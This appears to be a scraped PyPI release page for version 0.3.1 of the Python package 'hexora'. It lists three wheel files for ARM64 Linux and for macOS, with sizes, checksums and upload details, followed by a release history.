Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.1-cp39-cp39-manylinux_2_28_aarch64.whl

Download URL hexora-0.3.1-cp39-cp39-manylinux_2_28_aarch64.whl
Size 3.1 MB
Tags CPython 3.9 Linux glibc 2.28+ ARM64
SHA-256 checksum
How to use checksums
4f3178b68682a528dff4058c8a2adb0c507d6c628cdb852c29124de8de84a8ca
BLAKE2b-256 checksum
How to use checksums
e40956ed8a86cff05e12b88a91d554e82e189eccfa3d92e0cfd600e57df117ab
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.1-cp39-cp39-macosx_11_0_arm64.whl

Download URL hexora-0.3.1-cp39-cp39-macosx_11_0_arm64.whl
Size 2.9 MB
Tags CPython 3.9 macOS 11.0+ ARM64
SHA-256 checksum
How to use checksums
130425dd7ebd440eb2be8554f4c0b39bd2682c690e434b4ff837e127686606e3
BLAKE2b-256 checksum
How to use checksums
4b0c3b1a3edcafb8c0f751cf98ebb249fdfbe019034a0662874d31ccc8087e50
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.1-cp39-cp39-macosx_10_12_x86_64.whl

Download URL hexora-0.3.1-cp39-cp39-macosx_10_12_x86_64.whl
Size 3.0 MB
Tags CPython 3.9 macOS 10.12+ x86-64
SHA-256 checksum
How to use checksums
2263956c3a0d4c505b3096e323ce9eab3e28043e87da8f2ee94279529ff00d73
BLAKE2b-256 checksum
How to use checksums
5e1ec10cb9b006fd2301c9384aa4b4e07a457be8922ad7e02fd457fab2d8bb87
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release history Release notifications | RSS feed

This release

0.3.1 This release

37 release files

0.3.0

37 release files

0.2.4

37 release files

0.2.3

37 release files

0.2.2

37 release files

0.2.1

31 release files

0.2.0

31 release files

0.1.2

31 release files

0.1.1

31 release files

0.1.0

2 release files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page